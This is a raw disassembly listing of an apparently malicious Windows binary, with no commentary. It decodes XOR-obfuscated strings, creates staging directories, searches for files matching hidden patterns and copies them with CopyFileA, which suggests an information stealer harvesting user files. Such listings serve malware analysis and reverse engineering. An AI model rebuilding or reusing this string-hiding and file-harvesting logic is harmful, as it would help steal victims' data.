movups xmmword [ebp - 0x55a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x55a], al
inc ecx
cmp ecx, 7
jb 0x452881
lea eax, [ebp - 0x55a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xd70]
mov byte [ebp - 0x553], 0
call fcn.00402a50
lea ecx, [ebp - 0xd70]
mov byte [ebp - 4], 0x4e
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xcac]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0xd70]
call fcn.004029b0
lea ecx, [ebp - 0x1970]
call fcn.004029b0
lea ecx, [ebp - 0xd88]
mov byte [ebp - 4], 0x52
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xcac]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x4529e9
movaps xmm0, xmmword [0x543a60]
xor ecx, ecx
mov dword [ebp - 0x1aa], 0x8d8e8db7
mov word [ebp - 0x1a6], 0x8580
mov byte [ebp - 0x1a4], 0x9f
movups xmmword [ebp - 0x1a3], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1aa], al
inc ecx
cmp ecx, 0xe
jb 0x452951
lea eax, [ebp - 0x1aa]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xda0]
mov byte [ebp - 0x19c], 0
call fcn.00402a50
lea ecx, [ebp - 0xda0]
mov byte [ebp - 4], 0x53
call fcn.00402af0
push eax
lea edx, [ebp - 0x83c]
lea ecx, [ebp - 0x1988]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xcac]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1988]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0xda0]
mov byte [ebp - 4], 0x52
call fcn.004029b0
test esi, esi
je 0x4529e9
mov byte [ebp - 0xd], 1
jmp 0x4529fb
push 0
mov dl, 1
lea ecx, [ebp - 0x83c]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xcac]
mov byte [ebp - 4], 0x4b
call fcn.004029b0
movaps xmm0, xmmword [0x543350]
xor ecx, ecx
mov dword [ebp - 0x288], 0x8098a0b7
mov byte [ebp - 0x284], 0x8e
movups xmmword [ebp - 0x283], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x288], al
inc ecx
cmp ecx, 0xc
jb 0x452a30
lea eax, [ebp - 0x288]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 0x27c], 0
call fcn.00402a50
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 4], 0x54
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x854]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xdb8]
mov byte [ebp - 4], 0x56
call fcn.004029b0
push 0
lea ecx, [ebp - 0x854]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x452cd9
movaps xmm0, xmmword [0x545aa0]
xor ecx, ecx
movups xmmword [ebp - 0xa51], xmm0
mov word [ebp - 0xa31], 0x7964
movaps xmm0, xmmword [0x544b80]
movups xmmword [ebp - 0xa41], xmm0
movaps xmm0, xmmword [str.cz_ejg]
movups xmmword [ebp - 0xa2f], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xa51], al
inc ecx
cmp ecx, 0x29
jb 0x452ae0
lea eax, [ebp - 0xa51]
mov dword [0x558570], ecx
push eax
lea ecx, [ebp - 0xde8]
mov byte [ebp - 0xa28], 0
call fcn.00402a50
lea ecx, [ebp - 0xde8]
mov byte [ebp - 4], 0x57
call fcn.00402af0
push eax
lea ecx, [ebp - 0x19a0]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x58
xor ecx, ecx
movaps xmm0, xmmword [0x544080]
mov dword [ebp - 0x2f4], 0xbca8bfbe
movups xmmword [ebp - 0x2f0], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2f4], al
inc ecx
cmp ecx, 0xb
jb 0x452b50
lea eax, [ebp - 0x2f4]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0xdd0]
mov byte [ebp - 0x2e9], 0
call fcn.00402a50
lea ecx, [ebp - 0xdd0]
mov byte [ebp - 4], 0x59
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xb8c]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0xdd0]
call fcn.004029b0
lea ecx, [ebp - 0x19a0]
call fcn.004029b0
lea ecx, [ebp - 0xde8]
mov byte [ebp - 4], 0x5d
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xb8c]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x452cb8
movaps xmm0, xmmword [0x543370]
xor ecx, ecx
mov dword [ebp - 0x232], 0x8d8e8db7
mov word [ebp - 0x22e], 0x8580
movups xmmword [ebp - 0x22c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x232], al
inc ecx
cmp ecx, 0xd
jb 0x452c20
lea eax, [ebp - 0x232]
mov dword [0x55852c], ecx
push eax
lea ecx, [ebp - 0xe00]
mov byte [ebp - 0x225], 0
call fcn.00402a50
lea ecx, [ebp - 0xe00]
mov byte [ebp - 4], 0x5e
call fcn.00402af0
push eax
lea edx, [ebp - 0x854]
lea ecx, [ebp - 0x19b8]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xb8c]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x19b8]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0xe00]
mov byte [ebp - 4], 0x5d
call fcn.004029b0
test esi, esi
je 0x452cb8
mov byte [ebp - 0xd], 1
jmp 0x452cca
push 0
mov dl, 1
lea ecx, [ebp - 0x854]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb8c]
mov byte [ebp - 4], 0x56
call fcn.004029b0
movaps xmm0, xmmword [0x5431a0]
xor ecx, ecx
mov dword [ebp - 0x308], 0x9a8caeb7
movups xmmword [ebp - 0x304], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x308], al
inc ecx
cmp ecx, 0xb
jb 0x452cf3
lea eax, [ebp - 0x308]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0xe18]
mov byte [ebp - 0x2fd], 0
call fcn.00402a50
lea ecx, [ebp - 0xe18]
mov byte [ebp - 4], 0x5f
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x86c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xe18]
mov byte [ebp - 4], 0x61
call fcn.004029b0
push 0
lea ecx, [ebp - 0x86c]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x45317d
movaps xmm0, xmmword [0x5431a0]
xor al, al
mov byte [ebp - 0xf], al
xor ecx, ecx
mov dword [ebp - 0x31c], 0x9a8caeb7
movups xmmword [ebp - 0x318], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x31c], al
inc ecx
cmp ecx, 0xb
jb 0x452d90
lea eax, [ebp - 0x31c]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0xe48]
mov byte [ebp - 0x311], 0
call fcn.00402a50
lea ecx, [ebp - 0xe48]
mov byte [ebp - 4], 0x62
call fcn.00402af0
push eax
lea ecx, [ebp - 0x19d0]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x63
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x64a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x64a], al
inc ecx
cmp ecx, 7
jb 0x452df1
lea eax, [ebp - 0x64a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xe30]
mov byte [ebp - 0x643], 0
call fcn.00402a50
lea ecx, [ebp - 0xe30]
mov byte [ebp - 4], 0x64
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xec0]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0xe30]
call fcn.004029b0
lea ecx, [ebp - 0x19d0]
call fcn.004029b0
lea ecx, [ebp - 0xe48]
mov byte [ebp - 4], 0x68
call fcn.004029b0
sub esp, 0x18
lea eax, [ebp - 0xec0]
mov ecx, esp
push eax
call fcn.0047faa0
push 1
xor dl, dl
lea ecx, [ebp - 0x4ac]
call fcn.004259f0
add esp, 0x1c
lea ecx, [ebp - 0x4ac]
mov byte [ebp - 4], 0x69
call fcn.0047e790
lea ecx, [ebp - 0x4ac]
mov edi, eax
call fcn.0047e780
mov dword [ebp - 0x14], eax
cmp edi, eax
je 0x45314b
mov byte [ebp - 0x1c], 0
nop dword [eax]
push edi
lea ecx, [ebp - 0xba4]
call fcn.0047faa0
mov byte [ebp - 4], 0x6a
lea edx, [ebp - 0xba4]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xea8]
call fcn.0048aa70
add esp, 4
lea eax, [ebp - 0x19e8]
mov byte [ebp - 4], 0x6b
push eax
lea ecx, [ebp - 0xea8]
call fcn.00404ac0
lea ecx, [ebp - 0x21]
mov byte [ebp - 4], 0x6c
push ecx
lea ecx, [ebp - 0x884]
push ecx
mov ecx, eax
call fcn.00483450
lea ecx, [ebp - 0x19e8]
mov byte [ebp - 4], 0x6e
call fcn.00481fb0
xorps xmm0, xmm0
mov word [ebp - 0x114], 0x8e8f
movq qword [ebp - 0x112], xmm0
xor ecx, ecx
mov byte [ebp - 0x10a], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x114], al
inc ecx
cmp ecx, 2
jb 0x452f40
lea eax, [ebp - 0x114]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0xe78]
mov byte [ebp - 0x112], 0
call fcn.00402a50
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0xe78]
or ebx, 1
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push 0
push eax
lea ecx, [ebp - 0x884]
call fcn.0047f5a0
cmp eax, 0xffffffff
jne 0x452fff
xorps xmm0, xmm0
mov dword [ebp - 0x5f], 0x88838388
mov word [ebp - 0x5b], 0x9786
xor ecx, ecx
movq qword [ebp - 0x59], xmm0
mov byte [ebp - 0x51], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5f], al
inc ecx
cmp ecx, 6
jb 0x452fb3
lea eax, [ebp - 0x5f]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0xe60]
mov byte [ebp - 0x59], 0
call fcn.00402a50
push 0
lea ecx, [ebp - 0xe60]
or ebx, 2
call fcn.00402af0
push eax
lea ecx, [ebp - 0x884]
call fcn.0047f5a0
mov byte [ebp - 0xe], 0
cmp eax, 0xffffffff
je 0x453003
mov byte [ebp - 0xe], 1
test bl, 2
je 0x453016
lea ecx, [ebp - 0xe60]
and ebx, 0xfffffffd
call fcn.004029b0
mov dword [ebp - 4], 0x6e
test bl, 1
je 0x453030
lea ecx, [ebp - 0xe78]
and ebx, 0xfffffffe
call fcn.004029b0
cmp byte [ebp - 0xe], 0
je 0x453111
xorps xmm0, xmm0
mov byte [ebp - 0x13d], 0xb7
movq qword [ebp - 0x13c], xmm0
xor ecx, ecx
mov byte [ebp - 0x134], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x13d], al
inc ecx
cmp ecx, 1
jb 0x453055
lea eax, [ebp - 0x13d]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0xe90]
mov byte [ebp - 0x13c], 0
call fcn.00402a50
lea ecx, [ebp - 0xe90]
mov byte [ebp - 4], 0x70
call fcn.00402af0
push eax
lea edx, [ebp - 0x86c]
lea ecx, [ebp - 0x1a18]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x884]
mov byte [ebp - 4], 0x71
push ecx
mov edx, eax
lea ecx, [ebp - 0x1a00]
call fcn.00483ac0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xba4]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1a00]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x1a18]
call fcn.004029b0
lea ecx, [ebp - 0xe90]
call fcn.004029b0
test esi, esi
je 0x453111
mov byte [ebp - 0xf], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x884]
call fcn.004029b0
lea ecx, [ebp - 0xea8]
call fcn.00481fb0
lea ecx, [ebp - 0xba4]
mov byte [ebp - 4], 0x69
call fcn.004029b0
add edi, 0x18
cmp edi, dword [ebp - 0x14]
jne 0x452ec0
cmp byte [ebp - 0xf], 0
mov dword [ebp - 0x1c], ebx
jne 0x45315d
push 0
mov dl, 1
lea ecx, [ebp - 0x86c]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x4ac]
call fcn.00481d80
lea ecx, [ebp - 0xec0]
mov byte [ebp - 4], 0x61
call fcn.004029b0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xorps xmm0, xmm0
mov dword [ebp - 0x6e], 0x8b99bfb7
mov word [ebp - 0x6a], 0x9d8e
xor ecx, ecx
movq qword [ebp - 0x68], xmm0
mov byte [ebp - 0x60], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x6e], al
inc ecx
cmp ecx, 6
jb 0x453198
lea eax, [ebp - 0x6e]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0xed8]
mov byte [ebp - 0x68], 0
call fcn.00402a50
lea ecx, [ebp - 0xed8]
mov byte [ebp - 4], 0x72
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x4f4]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xed8]
mov byte [ebp - 4], 0x74
call fcn.004029b0
lea ecx, [ebp - 0x4f4]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x453a30
movaps xmm0, xmmword [0x5450e0]
xor ecx, ecx
movups xmmword [ebp - 0x66f], xmm0
mov byte [ebp - 0xe], 0
movaps xmm0, xmmword [str.__qwadk]
mov dword [ebp - 0x65f], 0xc685d4db
mov byte [ebp - 0x65b], 0xc9
movups xmmword [ebp - 0x65a], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x66f], al
inc ecx
cmp ecx, 0x1c
jb 0x453240
lea eax, [ebp - 0x66f]
mov dword [0x5585a4], ecx
push eax
lea ecx, [ebp - 0xef0]
mov byte [ebp - 0x653], 0
call fcn.00402a50
lea ecx, [ebp - 0xef0]
mov byte [ebp - 4], 0x75
call fcn.00402af0
push eax
lea ecx, [ebp - 0x688]
call fcn.00402a50
lea ecx, [ebp - 0xef0]
mov byte [ebp - 4], 0x77
call fcn.004029b0
lea ecx, [ebp - 0x688]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
jne 0x453361
movaps xmm0, xmmword [0x5450e0]
xor ecx, ecx
movups xmmword [ebp - 0x406], xmm0
mov dword [ebp - 0x3f6], 0x9b898fa7
xorps xmm0, xmm0
mov word [ebp - 0x3f2], 0x6d9e
movq qword [ebp - 0x3f0], xmm0
mov byte [ebp - 0x3e8], al
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x406], al
inc ecx
cmp ecx, 0x16
jb 0x4532f0
lea eax, [ebp - 0x406]
mov dword [0x558524], ecx
push eax
lea ecx, [ebp - 0xf08]
mov byte [ebp - 0x3f0], 0
call fcn.00402a50
lea ecx, [ebp - 0xf08]
mov byte [ebp - 4], 0x78
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1658]
call fcn.00402a50
push eax
lea ecx, [ebp - 0x688]
call fcn.0047f920
lea ecx, [ebp - 0x1658]
call fcn.004029b0
lea ecx, [ebp - 0xf08]
mov byte [ebp - 4], 0x77
call fcn.004029b0
lea ecx, [ebp - 0x688]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x453a09
sub esp, 0x18
lea eax, [ebp - 0x688]
mov ecx, esp
push eax
call fcn.0047faa0
push 1
xor dl, dl
lea ecx, [ebp - 0x4dc]
call fcn.004259f0
add esp, 0x1c
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 0x79
call fcn.0047e790
lea ecx, [ebp - 0x4dc]
mov edi, eax
call fcn.0047e780
mov dword [ebp - 0x14], eax
cmp edi, eax
je 0x4535af
mov byte [ebp - 0x18], 0
mov ebx, eax
nop dword [eax + eax]
push edi
lea ecx, [ebp - 0xbd4]
call fcn.0047faa0
mov byte [ebp - 4], 0x7a
lea edx, [ebp - 0xbd4]
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf50]
call fcn.0048aa70
add esp, 4
lea eax, [ebp - 0x1670]
mov byte [ebp - 4], 0x7b
push eax
lea ecx, [ebp - 0xf50]
call fcn.00404ac0
lea ecx, [ebp - 0x22]
mov byte [ebp - 4], 0x7c
push ecx
lea ecx, [ebp - 0xbbc]
push ecx
mov ecx, eax
call fcn.00483450
lea ecx, [ebp - 0x1670]
mov byte [ebp - 4], 0x7e
call fcn.00481fb0
xorps xmm0, xmm0
mov dword [ebp - 0x7b], 0x808b9f98
movq qword [ebp - 0x77], xmm0
xor ecx, ecx
mov byte [ebp - 0x6f], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x7b], al
inc ecx
cmp ecx, 4
jb 0x453447
lea eax, [ebp - 0x7b]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0xf20]
mov byte [ebp - 0x77], 0
call fcn.00402a50
lea ecx, [ebp - 0xf20]
call fcn.00402af0
push 0
push eax
lea ecx, [ebp - 0xbbc]
call fcn.0047f5a0
lea ecx, [ebp - 0xf20]
mov esi, eax
call fcn.004029b0
cmp esi, 0xffffffff
je 0x45357c
xorps xmm0, xmm0
mov byte [ebp - 0x129], 0xb7
movq qword [ebp - 0x128], xmm0
xor ecx, ecx
mov byte [ebp - 0x120], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x129], al
inc ecx
cmp ecx, 1
jb 0x4534c0
lea eax, [ebp - 0x129]
mov dword [0x5585d0], ecx
push eax
lea ecx, [ebp - 0xf38]
mov byte [ebp - 0x128], 0
call fcn.00402a50
lea ecx, [ebp - 0xf38]
mov byte [ebp - 4], 0x7f
call fcn.00402af0
push eax
lea edx, [ebp - 0x4f4]
lea ecx, [ebp - 0x16a0]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xbbc]
mov byte [ebp - 4], 0x80
push ecx
mov edx, eax
lea ecx, [ebp - 0x1688]
call fcn.00483ac0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xbd4]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1688]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x16a0]
call fcn.004029b0
lea ecx, [ebp - 0xf38]
call fcn.004029b0
test esi, esi
je 0x45357c
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0xbbc]
call fcn.004029b0
lea ecx, [ebp - 0xf50]
call fcn.00481fb0
lea ecx, [ebp - 0xbd4]
mov byte [ebp - 4], 0x79
call fcn.004029b0
add edi, 0x18
cmp edi, ebx
jne 0x4533d0
mov ebx, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x543a80]
xor ecx, ecx
movups xmmword [ebp - 0x63a], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x63a], al
inc ecx
cmp ecx, 7
jb 0x4535c0
lea eax, [ebp - 0x63a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xf68]
mov byte [ebp - 0x633], 0
call fcn.00402a50
lea ecx, [ebp - 0xf68]
mov byte [ebp - 4], 0x81
call fcn.00402af0
push eax
lea edx, [ebp - 0x688]
lea ecx, [ebp - 0xc04]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xf68]
mov byte [ebp - 4], 0x83
call fcn.004029b0
lea ecx, [ebp - 0xc04]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x4536c8
movaps xmm0, xmmword [0x543a80]
xor ecx, ecx
movups xmmword [ebp - 0x62a], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x62a], al
inc ecx
cmp ecx, 7
jb 0x453650
lea eax, [ebp - 0x62a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xf80]
mov byte [ebp - 0x623], 0
call fcn.00402a50
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0xf80]
or ebx, 4
mov dword [ebp - 0x18], ebx
call fcn.00402af0
push eax
lea edx, [ebp - 0x4f4]
lea ecx, [ebp - 0x16b8]
call fcn.004838a0
add esp, 4
or ebx, 8
mov ecx, eax
mov dword [ebp - 0x1c], ebx
call fcn.00402af0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0xf], 1
test eax, eax
jne 0x4536cc
mov byte [ebp - 0xf], 0
test bl, 8
je 0x4536e2
and ebx, 0xfffffff7
lea ecx, [ebp - 0x16b8]
mov dword [ebp - 0x1c], ebx
call fcn.004029b0
mov dword [ebp - 4], 0x83
test bl, 4
je 0x4536ff
and ebx, 0xfffffffb
lea ecx, [ebp - 0xf80]
mov dword [ebp - 0x1c], ebx
call fcn.004029b0
cmp byte [ebp - 0xf], 0
je 0x4537b4
movaps xmm0, xmmword [0x543a80]
xor ecx, ecx
movups xmmword [ebp - 0x61a], xmm0
mov byte [ebp - 0xf], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x61a], al
inc ecx
cmp ecx, 7
jb 0x453720
lea eax, [ebp - 0x61a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xf98]
mov byte [ebp - 0x613], 0
call fcn.00402a50
lea ecx, [ebp - 0xf98]
mov byte [ebp - 4], 0x85
call fcn.00402af0
sub esp, 0x18
lea edx, [ebp - 0x4f4]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.004838a0
sub esp, 0x14
mov byte [ebp - 4], 0x86
lea eax, [ebp - 0xc04]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0xf]
mov byte [ebp - 4], 0x85
call fcn.004108f0
add esp, 0x30
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0xf98]
mov esi, eax
call fcn.004029b0
test esi, esi
jne 0x4537b4
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x14c]
call fcn.004511f0
mov byte [ebp - 4], 0x87
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x148]
sub ecx, dword [ebp - 0x14c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4539de
movaps xmm0, xmmword [0x5436d0]
xor ecx, ecx
mov dword [ebp - 0x193], 0xb19489b7
mov word [ebp - 0x18f], 0x9f9b
mov byte [ebp - 0x18d], 0x9a
movups xmmword [ebp - 0x18c], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x193], al
inc ecx
cmp ecx, 0xe
jb 0x453810
lea eax, [ebp - 0x193]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xfb0]
mov byte [ebp - 0x185], 0
call fcn.00402a50
lea ecx, [ebp - 0xfb0]
mov byte [ebp - 4], 0x88
call fcn.00402af0
push eax
lea edx, [ebp - 0x4f4]
lea ecx, [ebp - 0xff8]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xfb0]
mov byte [ebp - 4], 0x8a
call fcn.004029b0
xorps xmm0, xmm0
mov word [ebp - 0x11f], 0x8e9c
movq qword [ebp - 0x11d], xmm0
xor ecx, ecx
mov byte [ebp - 0x115], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x11f], al
inc ecx
cmp ecx, 2
jb 0x453890
lea eax, [ebp - 0x11f]
mov dword [0x558548], ecx
push eax
lea ecx, [ebp - 0xfc8]
mov byte [ebp - 0x11d], 0
call fcn.00402a50
lea ecx, [ebp - 0xfc8]
call fcn.00402af0
lea ecx, [ebp - 0xff8]
mov esi, eax
call fcn.00402af0
push esi
push eax
call fcn.004fda60
add esp, 8
lea ecx, [ebp - 0xfc8]
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004029b0
test esi, esi
je 0x4539cb
mov ecx, dword [ebp - 0x148]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x14c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4539c0
xor edi, edi
xor ebx, ebx
lea ecx, [esi + edi]
call fcn.00402af0
xorps xmm0, xmm0
mov dword [ebp - 0x32], 0xe4e09fce
mov esi, eax
mov word [ebp - 0x2e], 0xfae2
movq qword [ebp - 0x2c], xmm0
xor ecx, ecx
mov byte [ebp - 0x24], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 6
jb 0x453948
lea eax, [ebp - 0x32]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0xfe0]
mov byte [ebp - 0x2c], 0
call fcn.00402a50
lea ecx, [ebp - 0xfe0]
call fcn.00402af0
push esi
push eax
push dword [ebp - 0x18]
call fcn.00402f10
add esp, 0xc
lea ecx, [ebp - 0xfe0]
call fcn.004029b0
mov ecx, dword [ebp - 0x148]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x14c]
inc ebx
sub ecx, esi
add edi, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebx, eax
jb 0x453923
mov ebx, dword [ebp - 0x1c]
push dword [ebp - 0x18]
call fcn.005012e8
add esp, 4
lea ecx, [ebp - 0xff8]
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
call fcn.004029b0
lea ecx, [ebp - 0x14c]
call fcn.00481d80
lea ecx, [ebp - 0xc04]
call fcn.004029b0
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 0x77
call fcn.00481d80
cmp byte [ebp - 0xe], 0
jne 0x453a1b
push 0
mov dl, 1
lea ecx, [ebp - 0x4f4]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x688]
mov byte [ebp - 4], 0x74
call fcn.004029b0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp byte [ebp - 0xd], 0
jne 0x453a48
push 0
mov dl, 1
lea ecx, [ebp - 0x2e0]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x4f4]
call fcn.004029b0
lea ecx, [ebp - 0x86c]
call fcn.004029b0
lea ecx, [ebp - 0x854]
call fcn.004029b0
lea ecx, [ebp - 0x83c]
call fcn.004029b0
lea ecx, [ebp - 0x914]
call fcn.004029b0
lea ecx, [ebp - 0x6a0]
call fcn.004029b0
lea ecx, [ebp - 0x8cc]
call fcn.004029b0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 4], 0xffffffff
call fcn.004029b0
cmp byte [ebp - 0x10], 0
je 0x4557e2
movaps xmm0, xmmword [0x543430]
xor ecx, ecx
mov dword [ebp - 0x330], 0x9d88a1b7
movups xmmword [ebp - 0x32c], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x330], al
inc ecx
cmp ecx, 0xb
jb 0x453ad0
lea eax, [ebp - 0x330]
mov dword [0x5584e0], ecx
push eax
lea ecx, [ebp - 0x1010]
mov byte [ebp - 0x325], 0
call fcn.00402a50
or ebx, 0x8000000
lea ecx, [ebp - 0x1010]
mov dword [ebp - 4], 0x8b
call fcn.00402af0
push eax
mov edx, 0x555aec
lea ecx, [ebp - 0x420]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1010]
mov byte [ebp - 4], 0x8d
call fcn.004029b0
lea ecx, [ebp - 0x420]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x4557d0
xorps xmm0, xmm0
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x41], 0x9786bfb7
xor ecx, ecx
mov word [ebp - 0x3d], 0x959f
movq qword [ebp - 0x3b], xmm0
mov byte [ebp - 0x33], 0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x41], al
inc ecx
cmp ecx, 6
jb 0x453b72
lea eax, [ebp - 0x41]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x1028]
mov byte [ebp - 0x3b], 0
call fcn.00402a50
lea ecx, [ebp - 0x1028]
mov byte [ebp - 4], 0x8e
call fcn.00402af0
push eax
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x974]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1028]
mov byte [ebp - 4], 0x90
call fcn.004029b0
lea ecx, [ebp - 0x974]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x453d7c
movaps xmm0, xmmword [0x545a70]
xor ecx, ecx
